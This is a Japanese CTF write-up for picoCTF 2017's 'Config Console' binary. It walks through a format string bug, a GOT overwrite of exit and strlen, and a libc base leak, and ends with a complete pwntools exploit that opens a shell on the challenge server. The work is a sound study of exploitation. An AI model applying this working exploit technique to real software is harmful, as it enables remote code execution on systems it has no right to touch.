picoCTF 2017 「Config Console」を解いた
ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$
を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ
とりあえずchecksec。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
Format string bugがset_exit_message()
にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。
Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0x7ffff7dd07a3(rsi) 0x7ffff7dd1880(rdx) 0x7ffff7af9054(rcx) 0x7ffff7fb1740(r8) 0x7ffff7fb1740(r9) (nil)($esp) 0x7fffffffd915($esp+0x8) 0x7fffffffdd20(saved rbp) 0x400aa6(return address) 0x7ffff7ffd9d0 0x7fffffffd910 0x7fffffffd910 0x7fffffffd915 0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520
NX bitが有効かつPLTにはsystem
がないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、
exit@plt
でloop
に飛ぶようにGOT Overwrite(%14$p
で入力した文字列にアクセスできる)- こうすれば何度もFSBで攻撃できるが、
set_exit_message
はloop
にreturnすることなく直接exit
を呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく - それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
- こうすれば何度もFSBで攻撃できるが、
- libcのリーク
set_prompt
から呼ばれるstrlen@plt
をsystem
に書き換え- 入力が引数に渡されるのでちょうど良い
全部FSBを脆弱性として使える。
が、0x00000000 00400920
といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hn
などで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lx
を使えば0x
がつかないのでちょっとだけ楽。
__IO_stdfile_1_lock
のアドレス0x7ffff7dd1880
は下を参照するとmapped
という領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880
となる。
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/sei0o/ctf/pico2017/configconsole/console 0x00601000 0x00602000 rw-p /home/sei0o/ctf/pico2017/configconsole/console 0x00602000 0x00623000 rw-p [heap] 0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so ...
…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/maps
で見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0
となった。便利。
$ rax2 -k 0x7f362782a7a0-0x7f362744df20 0x3a77a0
はじめ「mapped
って書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdbで__IO_stdfile_1_lock
周辺を表示してみるとfree_list
やlock
というlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)
いろいろ探しているうちにobjdump -p libc.so.6
でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6
としても情報が見られる。
さらにLD_PRELOAD
という環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...
Exploit
pwntoolsを初めて使った。
# 0xaaaa -> 2 byte -> 16 bit
とかいう頭の悪そうなコメント。
pwntools使い方 まとめ
from pwn import * #c = remote('localhost', 62000) c = remote('shell2017.picoctf.com', 42132) # overwrite exit of GOT exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400) payload = "e " payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 <- "AA"(padding)) payload += p64(exit_got) payload += "\n" c.recv() c.send(payload) # leak libc address payload = "e %2$p\n" c.send(payload) c.recvuntil("set!") c.recvuntil("set!") libc_stdfile_lock = int(c.recv(15)[3:], 16) libc_base = libc_stdfile_lock - 0x3a77a0 # offset log.info("Libc Base: %s" % hex(libc_base)) # overwrite strlen@plt strlen_got = 0x601210 system_offset = 0x41490 system_addr = libc_base + system_offset payload = "e " payload += "%" + str(system_addr & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") # padding payload += p64(strlen_got) payload += "\n" c.send(payload) payload = "e " payload += "%" + str((system_addr >> 16) & 0xffff) + "x" # 0xaaaa -> 2 byte -> 16 bit payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 2) payload += "\n" c.recvuntil("set!") c.send(payload) payload = "e " payload += "%" + str((system_addr >> 32) & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 4) payload += "\n" c.recvuntil("set!") c.send(payload) # enter shell c.recv() c.send("p /bin/sh\n") time.sleep(0.3) c.interactive()